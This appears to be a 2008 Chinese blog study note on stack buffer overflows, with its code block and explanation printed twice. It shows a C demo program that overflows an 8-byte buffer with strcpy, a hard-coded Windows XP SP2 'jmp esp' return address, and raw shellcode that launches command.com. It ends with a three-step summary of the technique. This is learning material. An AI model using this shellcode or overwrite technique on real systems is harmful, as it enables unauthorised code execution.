缓冲区溢出学习笔记 二
2008-07-21 17:53
155 查看
由于一直不知道xpsp2下 jmp esp的地址,找了好久才在看雪学院的一个帖子上看到一个例子。
测试了一下,由于vc6.0启用数据执行保护,我也不清楚我溢出利用是否成功。
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xFA\x7F"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
{ char overflow[8] ;
strcpy(overflow,shellcode);
return 0;
}
不过原理都是一样,现在总结一下规律。
1.有问题程序返回点的精确位置--我们可以把它覆盖成任意地址。
2.Shellcode----一个提供给我们想要的功能的代码。
3。JMP ESP的地址--把返回点覆盖JMP ESP的地址,这样可跳入ShellCode。
测试了一下,由于vc6.0启用数据执行保护,我也不清楚我溢出利用是否成功。
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xFA\x7F"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x8B\xE5\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45"
"\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45"
"\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
{ char overflow[8] ;
strcpy(overflow,shellcode);
return 0;
}
不过原理都是一样,现在总结一下规律。
1.有问题程序返回点的精确位置--我们可以把它覆盖成任意地址。
2.Shellcode----一个提供给我们想要的功能的代码。
3。JMP ESP的地址--把返回点覆盖JMP ESP的地址,这样可跳入ShellCode。
相关文章推荐
- 缓冲区溢出学习笔记 一
- 【安全牛学习笔记】缓冲区溢出
- 【学习笔记】缓冲区溢出
- 缓冲区溢出学习笔记
- 32位汇编语言学习笔记(19)--缓冲区溢出实验
- 【安全牛学习笔记】缓冲区溢出
- 【安全牛学习笔记】Linux缓冲区溢出
- OWASP WebGoat---安全测试学习笔记(五)---缓冲区溢出
- 【安全牛学习笔记】缓冲区溢出
- SHELL学习笔记2
- __attribute__ 学习笔记
- Erlang 学习笔记 (一)
- Cocos2dx游戏开发笔记21:动手学习《Flappy Bird》之继续优化(付源码)
- Hadoop HDFS源码学习笔记(五)
- 【java学习笔记】HashSet
- Cassandra学习笔记之数据读取
- 4.21 学习笔记
- iOS学习笔记---c语言第十天
- iOS学习笔记40-日志重定向
- Python学习笔记-包